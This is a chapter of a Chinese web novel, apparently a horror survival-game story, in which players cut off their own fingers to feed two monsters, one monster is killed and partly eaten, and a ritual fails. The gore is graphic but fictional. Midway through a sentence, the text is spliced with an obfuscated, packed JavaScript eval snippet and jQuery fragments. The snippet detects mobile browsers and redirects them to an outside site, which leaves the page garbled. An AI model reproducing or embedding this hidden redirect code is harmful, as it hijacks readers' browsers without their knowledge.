“吃!吃!吃!”黑白老妖像是要饭乞丐,无耻的喊个不停。
秃头大汉急得嘴巴生疮,作难地说:“怎么办?不能等,只能给他们吃。”
“吃!给他吃!”大胡子怒目一睁,把一只宽大的手啪得拍在桌子上,“吃手!”
桌子被震得晃动了两下,一圈儿的人被震得目瞪口呆。
“你真要这么干?”陶慈吉压低声音问。
大胡子的双腿颤得要离他而去,但维持着老大的派头,他故作洒脱地说:“这有啥,反正不死,出了[寿神居],我们的伤都会复原。”
法医问出切实的问题:“切你自己的手?”
大胡子慌乱了一秒,喊:“说啥呢,一人一根小拇指给他吃!”
陶慈吉刁钻地追着问:“要是吃完了手指,他们还没死怎么办?”
“不管那么多,先吃!”大胡子抽搐着眉头喊。
“你在赌。”陶慈吉一拍桌子,英姿飒爽地冷笑着,跟大胡子叫横。
“哎哎哎,别动武。”大胡子干不过陶慈吉,被压了一头,给两边的人使眼色。
而边上的人被“只差一步”羁縻着,暗恨着黑白老妖,想赶快想俩老妖死成神,竟跟大胡子一块赌起来。
他们宛若占据着高位,说给陶慈吉听,也说给自个儿听:“只废一根手指,没什么可怕的。”
“是的,一根手指要是造出神,我们才是发了!”
“够了。”陶慈吉是看清形势的女中豪杰,推开拉她的人,目视大胡子说:“我听你的。谁来第一个砍?!”
大胡子被她一撺掇,牛劲儿上来,把小婴儿丢给旁人,他喊人拿来一把刀,先把他自个儿的手按在桌子上,刀子剁了三四下,连着皮带着血,断了一根小指头。
【这老哥是强的。】
黑白老妖呼喊:“吃吃吃!!”
一群人跟俩老妖一块呼喊:“吃吃吃!”
倒是有不想砍手的人,小声嘀咕着问:“能不来吗?”
但边上的人劝说道:“你不来,他就有杀你喂野兽的理由了。”
所以,都要砍手指喂饕鬄,要不然就是叛乱。
大胡子搭了个台子,准备了冰块和包扎桌,有模有样的,似是跟现实世界无偿的献血类似的无偿献肉。
明栖耷拉着脑袋,揣测着今安的打算。
他看她自买鱼回来,一直都无精打采的,感觉她是会顺从大胡子的。
她顺从,他便也顺从。
他来到她近处,好心眼,云淡风轻道:“安安,我代替你砍一根手指。我不想我保护的手指失去。”
今安不接受他的好意,虽然执拗,但她仍然温柔而无锐气地说:“我偏不如你意呢。”
今安说完就走,插在吓得手抖的男人前,排在队伍第二。
别的人都砍的是尾指头,今安的逆反心理起来了,往明栖在的方向扫了一眼,砍掉之前被明栖握住的食指。
她几乎没有任何疼痛感,因为她的心神被其他东西占据,爱人,明栖,与一团迷云。
今安没包扎,她轻盈地走到明栖跟前,扬起哗哗流血的断指手,笑出一股邪恶的美丽,恶意地说,“都是害得我。”
她在用伤害自己,逼退明栖对她的接近:要是他不说代替她砍手的话,她就不会砍食指;要是他再这样接近她,她就再更伤害自己。
【小明哥:你就气我吧。我迟早会被你气死。】
今安倔着,明栖更倔。
他不怒反笑,笑得比今安还灿烂,都有些奇异的惑人。
他迎上去,单手拎起来今安,把她跟个麻袋似的,推倒在她专属的小摇椅上。
他微笑着威胁道:“你要是动,我就绑着你,五花大绑,不会比现在舒服。”
今安想拿枪,明栖却比她快速,按住她的肩膀,把枪拿到手。
她气气地噗了声,老实瘫在了小摇椅上。
明栖蹲在她的侧边,把她的手放在她胸口的位置,他的牙齿咬着白绷带,双手拿着无菌纱布,按住她流血的伤口。
今安还是没什么痛感,因为她现在的心神里没有爱人,没有迷雾,全被明栖一个人占据了。
她的心像一滴雨水,砸在白纸上,水花四溅,溅出了边界。
而一出界,这些颗解放的水珠儿、心中的幻影,就形成了波涛汹涌的潮水,把她卷入明栖的领域。
“你很像我的爱人。”今安面色惨白,隐隐要悲凉地哭出来,从唇缝里挤出声音。
“我知道。”明栖感同身受的难受。
明栖能看出来,今安在犯抽,她对他冷热交替,对他若即若离。
他没法子责怪她,因为他是进攻方,她是防守方。她所有的出牌,都是在压他的牌。
明栖抗压能力不弱,也很有受虐狂的潜质,倒体会出这段时光不错。
今安专属的小摇椅,是他两周前亲自给今安做的。
她没说什么话,可他能看出来她很喜欢,每天午后,她都爱不释身地躺着,懒绵绵地沉思着。
明栖经常站在小摇椅后面,出神地望着她。一会晃进她散散的影子里,一会晃到光明阳光里。
若是她这么摇上个几十年,暮暮复朝朝,寒暑易节,她一定会忘记爱人,只有他一个人的。
但他憋闷,他不可能这么做。
他是急性子,不想要用耗时间的方式,把今安夺回来。
他很有少年心,激情四射,心气儿高,他渴望爱的爆发,像洪水一样,激流勇进,把他和今安冲到一起,其余的都冲走!
然而,现实和幻想难以融合,让他有种不知道该怎么办的苦恼。
他对抢夺的今安是势在必行,但他总在犹豫用什么样的手段。
每次想到了个主意,可一望见今安软白的脸蛋,他都会觉得太硬邦邦了,总觉得还有更妥善的。
总之,是他心太贪了,不仅要跟安安在一起,还要完美的与安安在一起。
事到如今,他在倍感煎熬中,无可奈何地顺从了她的抽风。
他想着拖延:一切情感问题,回到现实再说,副本的事够多了,会把本就不清醒的头脑,搞得更加的混乱。
明栖给今安包扎完了,没舍得松开她的手,无力而轻声问:“疼吗?”
他知道她不会太疼的,她是NPC,虽然是拥有自主意识的NPC,但背后的监视者白魂也能调低她的痛感指数。
“缺了一根手指,对我没什么影响。”今安一口气没吐出来,神情迷迷糊糊的,憋憋闷闷地说,“我缺失的太多了。”
明栖这可不懂了。
他根本没有想到,今安虚构的爱人,连名字都没被她赋予!
所以,明栖陷入他自己的想法中,以为今安说的缺失是爱人,他说:“总会找回来的。”
今安痴痴迷迷地问:“如何找?谁来替我找?”
明栖没再回答她,他已经觉得乏味,觉得今安矫情过了头。
不过,他爱她的矫情,呼着灼热的气息,亲了亲她的手背。
答案自在行动中。
今安被他的亲吻刺激到了,她又发起脾气,喘吁吁地问:“你到底想干什么呢?不给我答案,反而给我加难题。”
“离你近一点,以任何形式。”明栖强势地回答,眼中闪着不达目的誓不罢休的痴狂。
【嗯……明明和安安的交往我看得一头雾水,我还是静静的不说了。】
【同意。】
【我从磕CP,变成磕颜了。这俩真颜帝。】
【谁截亲手背的图了?这场结束,发我一下哈。】
明栖成为最后一个去切手指的人,他提起刀,果断地切断了小手指。
刀钝而骨硬,他切得费劲,疼得一口气没上来,不由更心疼今安,也恨起了招惹今安的自己。
一堆的手指切完了。
秃头男看着,嘟囔了句:“适合做无骨凤爪。”
大胡子默默远离了他一步。
都认为这是最后一顿“丰盛的美食”,为保证分配平均点,用称称了,分成重量一致的两堆,丢给了黑白老妖。
一群人忍着伤口渗出的疼痛,扎堆排排站,紧张期待地注视着黑白老妖的吞咽。
而这俩可恶的野兽,故意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980753|173161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捉弄人,把食指吃得缓慢。半个多小时,才吃完平时一秒钟就能消灭干净的肉。
吃完约十几秒钟,黑白老妖同时咳嗽。
“咳咳咳!!”
“要死了吗?要死了吧。”一群人眼中露出无比渴望死亡的光亮。
“咳咳咳……”黑白老妖咳嗽的难受无比,为缓解着,爬到对方跟前,汲取力量,互相交握着双手。
紧接着,俩老妖的咳嗽同时停下,转了转奸诈狡猾的眼珠子,对一群人喊:“吃!”
咕咚一声,大胡子咽了咽口水。
赌输了。
大胡子手捻着一串不知道从哪里抓来的佛珠,抬头看看天花板,低头看看嗦着手指玩的小婴儿,咬了咬牙喊:“再剁一根手指!”
“你妈!这样下去,早晚我们会变成饲料!”陶慈吉的脾气爆起来,提起花大爷的断头刀,要给黑老妖一刀。
但白口罩比她更气,比她更快下手。
白口罩虎虎生风地手拿着铁钉耙,夯入黑老妖的脖颈。噗呲——尖锐的钉齿抽出来,再夯,夯了有十几个血骨头窟窿,夯碎了黑老妖天灵盖上的月亮。
“两头只会吃的猪!够了够了!吃我的!喝我的!死也是我的!”
白口罩暴烈地喊着,转手把钉耙狂暴地一丢,划了两下步子,如采摘一颗成熟的果实,双手提起黑老妖的尸体。
他弯着脖子,咬了一口黑老妖老干无油的腮帮子,咬掉了一块无味的肉,喝了口无味的血。
“无味!”他无趣地哼了声,把黑老妖的尸体砸给白老妖,气呼呼地喊:“吃吧,你这头猪!”
陶慈吉愣住了,属实没见到比她还疯的人。
远离着白口罩,她往后退了几步,然后乐得哈哈大笑。
没有一个人制止白口罩。
粉毛心里毛毛的,抱着膀子,追看着白口罩甩着胳膊离去的背影,摇摇头说:“他气得够呛。”
“光气可做不到他这样……我猜他身上有疯狗的基因。”大胡子虚弱地说着,吓软的双腿遭不住了,让他必须坐在椅子上。
维持着不被吓到的体面,大胡子哼着自创的歌谣,把小婴儿放在膝盖颠簸。
白老妖荤荤不忌,很称心如意地呵呵呵地笑着,欣喜若狂地吃着黑老妖的尸体。
黑老妖脑浆像过期酸奶缓缓流出,被白老妖吮吸一干二净,嘎嘎嘎嘎,脑壳子上的月亮被嚼了两下吞下去。
吃完最后一块肉渣,白老妖满足地打嗝,舒坦地喊:“吃!”
不用陶慈吉或者白口罩,在边上瞪着白老妖的几个年轻人,合起来把白老妖给打死了。
脑壳子上的妖异的太阳被碾碎,藏入血污之中。
自诩见过大阵仗的法医,也遭不住坐在椅子上,说:“‘人与天调,然后天地之美生,’这种人,作怪,死了为好。”
“这种人是人吗?”
“是人,他们要是不是人,我们也不是人了。他们都是被我们惯的了。”
“成神了,欢呼吧。”全场最快乐的非粉毛莫属,他癫癫狂狂地扭着胯骨舞蹈,怪笑地呼喊,“Yes!死了!死了!成功了!成神了!”
一群人不如粉毛会苦中作乐,像一个个独立的格子,沉默了,望着白老妖的尸体,不安地等待着,希望白老妖能跟佛陀以死悟道而成神。
安静,安静。有一种不是杀了一个人、两个人的恐慌和孤寂,好像一下子,把全世界的人都杀死了,包括自己。
这可能就是神的力量——带给芸芸众生灭世感。
神不是爱吊人胃口的,他们没等多久。
砰!
最大号的棺材落下了,正好盖住中号棺材。
风车仍吱嘎吱嘎地转悠悠,冬风不止,它是不会停的。
【“吃”的摇滚乐结束。】
【恶心死我了,这场游戏只有他们这群人才能玩。】
一群人一下子面如死灰,眼前被天黑的黑暗笼罩着,跟他们被棺材罩住了似的。
开了灯,死白死白的,不再棺材里黑着了,而在葬礼场上白着了。
第二个造神,也失败了。